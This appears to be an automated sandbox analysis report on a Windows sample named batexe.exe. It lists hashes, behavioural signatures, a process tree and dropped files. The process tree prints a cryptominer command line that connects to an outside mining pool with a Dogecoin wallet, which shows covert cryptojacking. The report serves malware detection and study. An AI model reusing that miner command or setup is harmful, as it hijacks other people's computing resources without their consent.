73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
299s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
11/02/2024, 15:17

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
228	b2e.exe
640	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
640	cpuminer-sse2.exe
640	cpuminer-sse2.exe
640	cpuminer-sse2.exe
640	cpuminer-sse2.exe
640	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1896-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1896 wrote to memory of 228	1896	batexe.exe	85
PID 1896 wrote to memory of 228	1896	batexe.exe	85
PID 1896 wrote to memory of 228	1896	batexe.exe	85
PID 228 wrote to memory of 3488	228	b2e.exe	86
PID 228 wrote to memory of 3488	228	b2e.exe	86
PID 228 wrote to memory of 3488	228	b2e.exe	86
PID 3488 wrote to memory of 640	3488	cmd.exe	89
PID 3488 wrote to memory of 640	3488	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1896
- C:\Users\Admin\AppData\Local\Temp\6F63.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6F63.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6F63.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:228
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\72BF.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3488
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:640

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6F63.tmp\b2e.exe

Filesize
22.0MB

MD5
31a942b3dabf40a4922a0b5e5b5e7930

SHA1
1cc4e143d2c82f2185173919bd161b581a5617c9

SHA256
c67039f1bff9346e6276581b2115a15daafa6531d7269bdd4f42531b633390d7

SHA512
584cebf285027f5202acab1658d07863f565bf47d302cd6a271378e8c44ec6d82141f7b919abb49625a4dc3447681a8e22936a7e3a01e5927626bf6ab179db20

Download Submit
C:\Users\Admin\AppData\Local\Temp\6F63.tmp\b2e.exe

Filesize
11.0MB

MD5
00cdf444db54d52e642fd08dcfb36d33

SHA1
f34e8c3ea99152ebcab6e32ce37f6782efb84b95

SHA256
c366cbf5e64476db17df37af0b5881b0ebaa7ff7025d87a8316bd71ca24580e3

SHA512
9ecbfa24d263a32c258596c272d86a261450ca742e9f01fe63f77cd4e8d8de256ab99c6c6445aba0f6578ca54a2453f12c496a9f6f6f7b1c81f488cc975277f4

Download Submit
C:\Users\Admin\AppData\Local\Temp\6F63.tmp\b2e.exe

Filesize
8.9MB

MD5
8934064d086020e1fc1dde4a36795e74

SHA1
6fe9b4a464ed303a284b2bfe9f39ee890b74e327

SHA256
4dc322487f59ed29c972a20612cdc750261f6a6cb2d939f1b120af48a37512d1

SHA512
f3061097df890902d12bf26594e62e2560dce28bb163a36fbd0a90392f07cbde53916095371df5db7595d514058ed3f736b47590757df082a47436341f0ebc4a

Download Submit
C:\Users\Admin\AppData\Local\Temp\72BF.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.1MB

MD5
ed3985031e3d7162524e125d64c2e015

SHA1
e8f5727b555171950240481ca99777e92db9f235

SHA256
8fd70d4fe6aee05a4ea03c3bd7c2e023ab720b978f0518d735312cf34af22f5e

SHA512
58855f5de991a422c3cedbb608cf640b6fa24dab578c4b25a30d061258836ceeaf26b436345f6c11de54cca9c293f1af43d865e0decf77ebc5eb830172c22313

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.1MB

MD5
9c8603974cd3b71ab48d94f40efc4585

SHA1
41821c9bf28d7667710d4704c3e276efbab6ee73

SHA256
d407648ea2f8eaa4671e3d3b3d6ba1f46908d6b40e7a419d14cdd584d01a3715

SHA512
df817170e9c2e96acdcca1b5d1bf09a96fc893d1914b4cc6e8e8d58f4519f56f215963a7eda89b066218bf553878e067ffe16010a5a52ddd6b4bbf82d6165ee4

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.7MB

MD5
be72b0daf40c77f9a92d19a581a193cb

SHA1
e54f96e8e63a68dae2e10d59d7d54503243229ff

SHA256
3fdc95d285f71730d3278933d2afe3b3056be1238c771aa0a947f1c303dca28f

SHA512
33c332cc862fbd5977310f080e35ff56558544e689cfce624897455f60f88575760335248131f065af041f143e0a41ff03c3dc5d67e614a6089fe7f58302f732

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/228-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/228-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/640-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/640-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/640-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/640-46-0x00000000747F0000-0x0000000074888000-memory.dmp

Filesize
608KB

Download
memory/640-47-0x00000000010E0000-0x0000000002995000-memory.dmp

Filesize
24.7MB

Download
memory/640-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/640-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/640-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/640-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/640-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/640-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/640-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/640-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/640-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1896-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download